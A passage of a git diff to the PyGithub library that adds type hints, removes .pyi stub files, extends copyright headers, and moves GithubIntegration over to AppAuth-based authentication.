str: ... - @property - def content_type(self) -> str: ... - @property - def created_at(self) -> datetime: ... - def delete_asset(self) -> bool: ... - @property - def download_count(self) -> int: ... - @property - def id(self) -> int: ... - @property - def label(self) -> str: ... - @property - def name(self) -> str: ... - @property - def size(self) -> int: ... - @property - def state(self) -> str: ... - def update_asset(self, name: str, label: str = ...) -> GitReleaseAsset: ... - @property - def updated_at(self) -> datetime: ... - @property - def uploader(self) -> NamedUser: ... - @property - def url(self) -> str: ... diff --git a/github/GitTag.py b/github/GitTag.py index a3d0a16066..32c851f0f1 100644 --- a/github/GitTag.py +++ b/github/GitTag.py @@ -9,6 +9,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,89 +35,77 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.GitAuthor import github.GithubObject import github.GitObject +import github.GitTreeElement +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.GitAuthor import GitAuthor + from github.GitObject import GitObject -class GitTag(github.GithubObject.CompletableGithubObject): +class GitTag(CompletableGithubObject): """ This class represents GitTags. The reference can be found here https://docs.github.com/en/rest/reference/git#tags """ - def __repr__(self): + def _initAttributes(self) -> None: + self._message: Attribute[str] = NotSet + self._object: Attribute[GitObject] = NotSet + self._sha: Attribute[str] = NotSet + self._tag: Attribute[str] = NotSet + self._tagger: Attribute[GitAuthor] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "tag": self._tag.value}) @property - def message(self): - """ - :type: string - """ + def message(self) -> str: self._completeIfNotSet(self._message) return self._message.value @property - def object(self): - """ - :type: :class:`github.GitObject.GitObject` - """ + def object(self) -> GitObject: self._completeIfNotSet(self._object) return self._object.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def tag(self): - """ - :type: string - """ + def tag(self) -> str: self._completeIfNotSet(self._tag) return self._tag.value @property - def tagger(self): - """ - :type: :class:`github.GitAuthor.GitAuthor` - """ + def tagger(self) -> GitAuthor: self._completeIfNotSet(self._tagger) return self._tagger.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def _initAttributes(self): - self._message = github.GithubObject.NotSet - self._object = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._tag = github.GithubObject.NotSet - self._tagger = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "object" in attributes: # pragma no branch - self._object = self._makeClassAttribute( - github.GitObject.GitObject, attributes["object"] - ) + self._object = self._makeClassAttribute(github.GitObject.GitObject, attributes["object"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "tag" in attributes: # pragma no branch self._tag = self._makeStringAttribute(attributes["tag"]) if "tagger" in attributes: # pragma no branch - self._tagger = self._makeClassAttribute( - github.GitAuthor.GitAuthor, attributes["tagger"] - ) + self._tagger = self._makeClassAttribute(github.GitAuthor.GitAuthor, attributes["tagger"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/GitTag.pyi b/github/GitTag.pyi deleted file mode 100644 index c3ef12fd88..0000000000 --- a/github/GitTag.pyi +++ /dev/null @@ -1,22 +0,0 @@ -from typing import Any, Dict, Union - -from github.GitAuthor import GitAuthor -from github.GithubObject import CompletableGithubObject -from github.GitObject import GitObject - -class GitTag(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def message(self) -> str: ... - @property - def object(self) -> GitObject: ... - @property - def sha(self) -> str: ... - @property - def tag(self) -> str: ... - @property - def tagger(self) -> GitAuthor: ... - @property - def url(self) -> str: ... diff --git a/github/GitTree.py b/github/GitTree.py index 60c25373cd..8f84be61e3 100644 --- a/github/GitTree.py +++ b/github/GitTree.py @@ -9,6 +9,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,57 +35,53 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.GitTreeElement +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.GitTreeElement import GitTreeElement -class GitTree(github.GithubObject.CompletableGithubObject): +class GitTree(CompletableGithubObject): """ This class represents GitTrees. The reference can be found here https://docs.github.com/en/rest/reference/git#trees """ - def __repr__(self): + def _initAttributes(self) -> None: + self._sha: Attribute[str] = NotSet + self._tree: Attribute[list[GitTreeElement]] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def tree(self): - """ - :type: list of :class:`github.GitTreeElement.GitTreeElement` - """ + def tree(self) -> list[GitTreeElement]: self._completeIfNotSet(self._tree) return self._tree.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def _identity(self): + def _identity(self) -> str: return self.sha - def _initAttributes(self): - self._sha = github.GithubObject.NotSet - self._tree = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "tree" in attributes: # pragma no branch - self._tree = self._makeListOfClassesAttribute( - github.GitTreeElement.GitTreeElement, attributes["tree"] - ) + self._tree = self._makeListOfClassesAttribute(github.GitTreeElement.GitTreeElement, attributes["tree"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/GitTree.pyi b/github/GitTree.pyi deleted file mode 100644 index 520f923260..0000000000 --- a/github/GitTree.pyi +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Any, Dict, List - -from github.GithubObject import CompletableGithubObject -from github.GitTreeElement import GitTreeElement - -class GitTree(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def sha(self) -> str: ... - @property - def tree(self) -> List[GitTreeElement]: ... - @property - def url(self) -> str: ... diff --git a/github/GitTreeElement.py b/github/GitTreeElement.py index 9da5e03314..79630b103a 100644 --- a/github/GitTreeElement.py +++ b/github/GitTreeElement.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,68 +33,52 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class GitTreeElement(github.GithubObject.NonCompletableGithubObject): + +class GitTreeElement(NonCompletableGithubObject): """ This class represents GitTreeElements """ - def __repr__(self): + def _initAttributes(self) -> None: + self._mode: Attribute[str] = NotSet + self._path: Attribute[str] = NotSet + self._sha: Attribute[str] = NotSet + self._size: Attribute[int] = NotSet + self._type: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "path": self._path.value}) @property - def mode(self): - """ - :type: string - """ + def mode(self) -> str: return self._mode.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: return self._path.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: return self._sha.value @property - def size(self): - """ - :type: integer - """ + def size(self) -> int: return self._size.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: return self._type.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def _initAttributes(self): - self._mode = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "mode" in attributes: # pragma no branch self._mode = self._makeStringAttribute(attributes["mode"]) if "path" in attributes: # pragma no branch diff --git a/github/GitTreeElement.pyi b/github/GitTreeElement.pyi deleted file mode 100644 index 52221a76a5..0000000000 --- a/github/GitTreeElement.pyi +++ /dev/null @@ -1,20 +0,0 @@ -from typing import Any, Dict, Optional - -from github.GithubObject import NonCompletableGithubObject - -class GitTreeElement(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def mode(self) -> str: ... - @property - def path(self) -> str: ... - @property - def sha(self) -> str: ... - @property - def size(self) -> Optional[int]: ... - @property - def type(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/GithubApp.py b/github/GithubApp.py index 4d769c6065..c2807af9ef 100644 --- a/github/GithubApp.py +++ b/github/GithubApp.py @@ -1,6 +1,25 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Raju Subramanian # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2015 Matt Babineau # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Colby Gallup # +# Copyright 2020 Mahesh Raju # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,127 +39,98 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class GithubApp(github.GithubObject.CompletableGithubObject): +class GithubApp(CompletableGithubObject): """ This class represents github apps. The reference can be found here https://docs.github.com/en/rest/reference/apps """ - def __repr__(self): + def _initAttributes(self) -> None: + self._created_at: Attribute[datetime] = NotSet + self._description: Attribute[str] = NotSet + self._events: Attribute[list[str]] = NotSet + self._external_url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._owner: Attribute[github.NamedUser.NamedUser] = NotSet + self._permissions: Attribute[dict[str, str]] = NotSet + self._slug: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def events(self): - """ - :type: list of string - """ + def events(self) -> list[str]: self._completeIfNotSet(self._events) return self._events.value @property - def external_url(self): - """ - :type: string - """ + def external_url(self) -> str: self._completeIfNotSet(self._external_url) return self._external_url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: int - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def owner(self): - """ - :type: :class:`Github.NamedUser.NamedUser` - """ + def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property - def permissions(self): - """ - :type: dict - """ + def permissions(self) -> dict[str, str]: self._completeIfNotSet(self._permissions) return self._permissions.value @property - def slug(self): - """ - :type: string - """ + def slug(self) -> str: + self._completeIfNotSet(self._slug) return self._slug.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def _initAttributes(self): - self._created_at = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._events = github.GithubObject.NotSet - self._external_url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._owner = github.GithubObject.NotSet - self._permissions = github.GithubObject.NotSet - self._slug = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "description" in attributes: # pragma no branch @@ -156,9 +146,7 @@ def _useAttributes(self, attributes): if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "owner" in attributes: # pragma no branch - self._owner = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["owner"] - ) + self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeDictAttribute(attributes["permissions"]) if "slug" in attributes: # pragma no branch diff --git a/github/GithubApp.pyi b/github/GithubApp.pyi deleted file mode 100644 index 8992a78345..0000000000 --- a/github/GithubApp.pyi +++ /dev/null @@ -1,34 +0,0 @@ -from typing import Any, Dict, List - -from datetime import datetime -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class GithubApp(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def id(self) -> str: ... - @property - def slug(self) -> str: ... - @property - def url(self) -> str: ... - @property - def name(self) -> str: ... - @property - def description(self) -> str: ... - @property - def external_url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def updated_at(self) -> datetime: ... - @property - def owner(self) -> NamedUser: ... - @property - def permissions(self) -> Dict[str, str]: ... - @property - def events(self) -> List[str]: ... diff --git a/github/GithubException.py b/github/GithubException.py index 039d084350..2171039e18 100644 --- a/github/GithubException.py +++ b/github/GithubException.py @@ -9,6 +9,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2016 humbug # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Liuyang Wan # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,6 +36,7 @@ ################################################################################ import json +from typing import Any, Dict, List, Optional, Tuple, Type, Union class GithubException(Exception): @@ -38,36 +46,58 @@ class GithubException(Exception): Some other types of exceptions might be raised by underlying libraries, for example for network-related issues. """ - def __init__(self, status, data, headers=None): + def __init__( + self, + status: int, + data: Any = None, + headers: Optional[Dict[str, str]] = None, + message: Optional[str] = None, + ): super().__init__() self.__status = status self.__data = data self.__headers = headers - self.args = [status, data, headers] + self.__message = message + self.args = (status, data, headers, message) @property - def status(self): + def message(self) -> Optional[str]: + return self.__message + + @property + def status(self) -> int: """ The status returned by the Github API """ return self.__status @property - def data(self): + def data(self) -> Any: """ The (decoded) data returned by the Github API """ return self.__data @property - def headers(self): + def headers(self) -> Optional[Dict[str, str]]: """ The headers returned by the Github API """ return self.__headers - def __str__(self): - return f"{self.status} {json.dumps(self.data)}" + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.__str__()})" + + def __str__(self) -> str: + if self.__message: + msg = f"{self.__message}: {self.status}" + else: + msg = f"{self.status}" + + if self.data is not None: + msg += " " + json.dumps(self.data) + + return msg class BadCredentialsException(GithubException): @@ -99,27 +129,44 @@ class BadAttributeException(Exception): Exception raised when Github returns an attribute with the wrong type. """ - def __init__(self, actualValue, expectedType, transformationException): + def __init__( + self, + actualValue: Any, + expectedType: Union[ + Dict[Tuple[Type[str], Type[str]], Type[dict]], + Tuple[Type[str], Type[str]], + List[Type[dict]], + List[Tuple[Type[str], Type[str]]], + ], + transformationException: Optional[Exception], + ): self.__actualValue = actualValue self.__expectedType = expectedType self.__transformationException = transformationException @property - def actual_value(self): + def actual_value(self) -> Any: """ The value returned by Github """ return self.__actualValue @property - def expected_type(self): + def expected_type( + self, + ) -> Union[ + List[Type[dict]], + Tuple[Type[str], Type[str]], + Dict[Tuple[Type[str], Type[str]], Type[dict]], + List[Tuple[Type[str], Type[str]]], + ]: """ The type PyGithub expected """ return self.__expectedType @property - def transformation_exception(self): + def transformation_exception(self) -> Optional[Exception]: """ The exception raised when PyGithub tried to parse the value """ diff --git a/github/GithubException.pyi b/github/GithubException.pyi deleted file mode 100644 index b26f89f5ea..0000000000 --- a/github/GithubException.pyi +++ /dev/null @@ -1,46 +0,0 @@ -from typing import Any, Dict, List, Optional, Tuple, Type, Union - -class GithubException(Exception): - def __init__( - self, status: Union[int, str], data: Any, headers: Optional[Dict[str, str]] - ) -> None: ... - def __str__(self) -> str: ... - @property - def data(self) -> Dict[str, Union[str, List[str], List[Dict[str, str]]]]: ... - @property - def status(self) -> int: ... - @property - def headers(self) -> Union[None, Dict[str, str]]: ... - -class BadAttributeException(GithubException): - def __init__( - self, - actualValue: Any, - expectedType: Union[ - Dict[Tuple[Type[str], Type[str]], Type[dict]], - Tuple[Type[str], Type[str]], - List[Type[dict]], - List[Tuple[Type[str], Type[str]]], - ], - transformationException: Optional[ValueError], - ) -> None: ... - @property - def actual_value(self) -> Any: ... - @property - def expected_type( - self, - ) -> Union[ - List[Type[dict]], - Tuple[Type[str], Type[str]], - Dict[Tuple[Type[str], Type[str]], Type[dict]], - List[Tuple[Type[str], Type[str]]], - ]: ... - @property - def transformation_exception(self) -> Optional[ValueError]: ... - -class BadCredentialsException(GithubException): ... -class UnknownObjectException(GithubException): ... -class BadUserAgentException(GithubException): ... -class RateLimitExceededException(GithubException): ... -class TwoFactorException(GithubException): ... -class IncompletableObject(GithubException): ... diff --git a/github/GithubIntegration.py b/github/GithubIntegration.py index 82c85bc9c2..4365746b79 100644 --- a/github/GithubIntegration.py +++ b/github/GithubIntegration.py @@ -1,9 +1,45 @@ -import time +############################ Copyrights and license ############################ +# # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Hemslo Wang # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # +# Copyright 2023 chantra # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +import urllib.parse +import warnings +from typing import Any import deprecated -import jwt +import urllib3 +from urllib3 import Retry +import github from github import Consts +from github.Auth import AppAuth +from github.GithubApp import GithubApp from github.GithubException import GithubException from github.Installation import Installation from github.InstallationAuthorization import InstallationAuthorization @@ -16,72 +52,147 @@ class GithubIntegration: Main class to obtain tokens for a GitHub integration. """ + # keep non-deprecated arguments in-sync with Requester + # v3: remove integration_id, private_key, jwt_expiry, jwt_issued_at and jwt_algorithm + # v3: move auth to the front of arguments + # v3: move * before first argument so all arguments must be named, + # allows to reorder / add new arguments / remove deprecated arguments without breaking user code + # added here to force named parameters because new parameters have been added + auth: AppAuth + base_url: str + __requester: Requester + def __init__( self, - integration_id, - private_key, - base_url=Consts.DEFAULT_BASE_URL, - jwt_expiry=Consts.DEFAULT_JWT_EXPIRY, - jwt_issued_at=Consts.DEFAULT_JWT_ISSUED_AT, - ): - """ - :param integration_id: int - :param private_key: string + integration_id: int | str | None = None, + private_key: str | None = None, + base_url: str = Consts.DEFAULT_BASE_URL, + *, + timeout: int = Consts.DEFAULT_TIMEOUT, + user_agent: str = Consts.DEFAULT_USER_AGENT, + per_page: int = Consts.DEFAULT_PER_PAGE, + verify: bool | str = True, + retry: int | Retry | None = None, + pool_size: int | None = None, + seconds_between_requests: float | None = Consts.DEFAULT_SECONDS_BETWEEN_REQUESTS, + seconds_between_writes: float | None = Consts.DEFAULT_SECONDS_BETWEEN_WRITES, + jwt_expiry: int = Consts.DEFAULT_JWT_EXPIRY, + jwt_issued_at: int = Consts.DEFAULT_JWT_ISSUED_AT, + jwt_algorithm: str = Consts.DEFAULT_JWT_ALGORITHM, + auth: AppAuth | None = None, + ) -> None: + """ + :param integration_id: int deprecated, use auth=github.Auth.AppAuth(...) instead + :param private_key: string deprecated, use auth=github.Auth.AppAuth(...) instead :param base_url: string - :param jwt_expiry: int. Expiry of the JWT used to get the information about this integration. - The default expiration is in 5 minutes and is capped at 10 minutes according to GitHub documentation - https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-json-web-token-jwt - :param jwt_issued_at: int. Number of seconds, relative to now, to set for the "iat" (issued at) parameter. - The default value is -60 to protect against clock drift - """ - assert isinstance(integration_id, (int, str)), integration_id - assert isinstance(private_key, str), "supplied private key should be a string" + :param timeout: integer + :param user_agent: string + :param per_page: int + :param verify: boolean or string + :param retry: int or urllib3.util.retry.Retry object + :param pool_size: int + :param seconds_between_requests: float + :param seconds_between_writes: float + :param jwt_expiry: int deprecated, use auth=github.Auth.AppAuth(...) instead + :param jwt_issued_at: int deprecated, use auth=github.Auth.AppAuth(...) instead + :param jwt_algorithm: string deprecated, use auth=github.Auth.AppAuth(...) instead + :param auth: authentication method + """ + if integration_id is not None: + assert isinstance(integration_id, (int, str)), integration_id + if private_key is not None: + assert isinstance(private_key, str), "supplied private key should be a string" assert isinstance(base_url, str), base_url + assert isinstance(timeout, int), timeout + assert user_agent is None or isinstance(user_agent, str), user_agent + assert isinstance(per_page, int), per_page + assert isinstance(verify, (bool, str)), verify + assert retry is None or isinstance(retry, int) or isinstance(retry, urllib3.util.Retry), retry + assert pool_size is None or isinstance(pool_size, int), pool_size + assert seconds_between_requests is None or seconds_between_requests >= 0 + assert seconds_between_writes is None or seconds_between_writes >= 0 assert isinstance(jwt_expiry, int), jwt_expiry assert Consts.MIN_JWT_EXPIRY <= jwt_expiry <= Consts.MAX_JWT_EXPIRY, jwt_expiry assert isinstance(jwt_issued_at, int) self.base_url = base_url - self.integration_id = integration_id - self.private_key = private_key - self.jwt_expiry = jwt_expiry - self.jwt_issued_at = jwt_issued_at + + if ( + integration_id is not None + or private_key is not None + or jwt_expiry != Consts.DEFAULT_JWT_EXPIRY + or jwt_issued_at != Consts.DEFAULT_JWT_ISSUED_AT + or jwt_algorithm != Consts.DEFAULT_JWT_ALGORITHM + ): + warnings.warn( + "Arguments integration_id, private_key, jwt_expiry, jwt_issued_at and jwt_algorithm are deprecated, " + "please use auth=github.Auth.AppAuth(...) instead", + category=DeprecationWarning, + ) + auth = AppAuth( + integration_id, # type: ignore + private_key, # type: ignore + jwt_expiry=jwt_expiry, + jwt_issued_at=jwt_issued_at, + jwt_algorithm=jwt_algorithm, + ) + + assert isinstance( + auth, AppAuth + ), f"GithubIntegration requires github.Auth.AppAuth authentication, not {type(auth)}" + + self.auth = auth + self.__requester = Requester( - login_or_token=None, - password=None, - jwt=self.create_jwt(), - app_auth=None, + auth=auth, base_url=self.base_url, - timeout=Consts.DEFAULT_TIMEOUT, - user_agent="PyGithub/Python", - per_page=Consts.DEFAULT_PER_PAGE, - verify=True, - retry=None, - pool_size=None, + timeout=timeout, + user_agent=user_agent, + per_page=per_page, + verify=verify, + retry=retry, + pool_size=pool_size, + seconds_between_requests=seconds_between_requests, + seconds_between_writes=seconds_between_writes, ) - def _get_headers(self): + def close(self) -> None: """ - Get headers for the requests. + Close connections to the server. Alternatively, use the GithubIntegration object as a context manager: + + .. code-block:: python + + with github.GithubIntegration(...) as gi: + # do something + """ + self.__requester.close() + + def __enter__(self) -> GithubIntegration: + return self + + def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None: + self.close() - :return: dict + def get_github_for_installation( + self, installation_id: int, token_permissions: dict[str, str] | None = None + ) -> github.Github: + # The installation has to authenticate as an installation, not an app + auth = self.auth.get_installation_auth(installation_id, token_permissions, self.__requester) + return github.Github(**self.__requester.withAuth(auth).kwargs) + + def _get_headers(self) -> dict[str, str]: + """ + Get headers for the requests. """ return { - "Authorization": f"Bearer {self.create_jwt()}", "Accept": Consts.mediaTypeIntegrationPreview, - "User-Agent": "PyGithub/Python", } - def _get_installed_app(self, url): + def _get_installed_app(self, url: str) -> Installation: """ Get installation for the given URL. - - :param url: str - :rtype: :class:`github.Installation.Installation` """ - headers, response = self.__requester.requestJsonAndCheck( - "GET", url, headers=self._get_headers() - ) + headers, response = self.__requester.requestJsonAndCheck("GET", url, headers=self._get_headers()) return Installation( requester=self.__requester, @@ -90,51 +201,33 @@ def _get_installed_app(self, url): completed=True, ) - def create_jwt(self, expiration=None): + @deprecated.deprecated( + "Use github.Github(auth=github.Auth.AppAuth), github.Auth.AppAuth.token or github.Auth.AppAuth.create_jwt(expiration) instead" + ) + def create_jwt(self, expiration: int | None = None) -> str: """ Create a signed JWT https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app - - :return string: """ - if expiration is not None: - assert isinstance(expiration, int), expiration - assert ( - Consts.MIN_JWT_EXPIRY <= expiration <= Consts.MAX_JWT_EXPIRY - ), expiration - - now = int(time.time()) - payload = { - "iat": now + self.jwt_issued_at, - "exp": now + (expiration if expiration is not None else self.jwt_expiry), - "iss": self.integration_id, - } - encrypted = jwt.encode(payload, key=self.private_key, algorithm="RS256") + return self.auth.create_jwt(expiration) - if isinstance(encrypted, bytes): - encrypted = encrypted.decode("utf-8") - - return encrypted - - def get_access_token(self, installation_id, permissions=None): + def get_access_token( + self, installation_id: int, permissions: dict[str, str] | None = None + ) -> InstallationAuthorization: """ :calls: `POST /app/installations/{installation_id}/access_tokens ` - :param installation_id: int - :param permissions: dict - :return: :class:`github.InstallationAuthorization.InstallationAuthorization` """ if permissions is None: permissions = {} if not isinstance(permissions, dict): - raise GithubException( - status=400, data={"message": "Invalid permissions"}, headers=None - ) + raise GithubException(status=400, data={"message": "Invalid permissions"}, headers=None) body = {"permissions": permissions} headers, response = self.__requester.requestJsonAndCheck( "POST", f"/app/installations/{installation_id}/access_tokens", + headers=self._get_headers(), input=body, ) @@ -146,21 +239,19 @@ def get_access_token(self, installation_id, permissions=None): ) @deprecated.deprecated("Use get_repo_installation") - def get_installation(self, owner, repo): + def get_installation(self, owner: str, repo: str) -> Installation: """ Deprecated by get_repo_installation :calls: `GET /repos/{owner}/{repo}/installation ` - :param owner: str - :param repo: str - :rtype: :class:`github.Installation.Installation` """ + owner = urllib.parse.quote(owner) + repo = urllib.parse.quote(repo) return self._get_installed_app(url=f"/repos/{owner}/{repo}/installation") - def get_installations(self): + def get_installations(self) -> PaginatedList[Installation]: """ :calls: GET /app/installations - :rtype: :class:`github.PaginatedList.PaginatedList[github.Installation.Installation]` """ return PaginatedList( contentClass=Installation, @@ -171,35 +262,38 @@ def get_installations(self): list_item="installations", ) - def get_org_installation(self, org): + def get_org_installation(self, org: str) -> Installation: """ :calls: `GET /orgs/{org}/installation ` - :param org: str - :rtype: :class:`github.Installation.Installation` """ + org = urllib.parse.quote(org) return self._get_installed_app(url=f"/orgs/{org}/installation") - def get_repo_installation(self, owner, repo): + def get_repo_installation(self, owner: str, repo: str) -> Installation: """ :calls: `GET /repos/{owner}/{repo}/installation ` - :param owner: str - :param repo: str - :rtype: :class:`github.Installation.Installation` """ + owner = urllib.parse.quote(owner) + repo = urllib.parse.quote(repo) return self._get_installed_app(url=f"/repos/{owner}/{repo}/installation") - def get_user_installation(self, username): + def get_user_installation(self, username: str) -> Installation: """ :calls: `GET /users/{username}/installation ` - :param username: str - :rtype: :class:`github.Installation.Installation` """ + username = urllib.parse.quote(username) return self._get_installed_app(url=f"/users/{username}/installation") - def get_app_installation(self, installation_id): + def get_app_installation(self, installation_id: int) -> Installation: """ :calls: `GET /app/installations/{installation_id} ` - :param 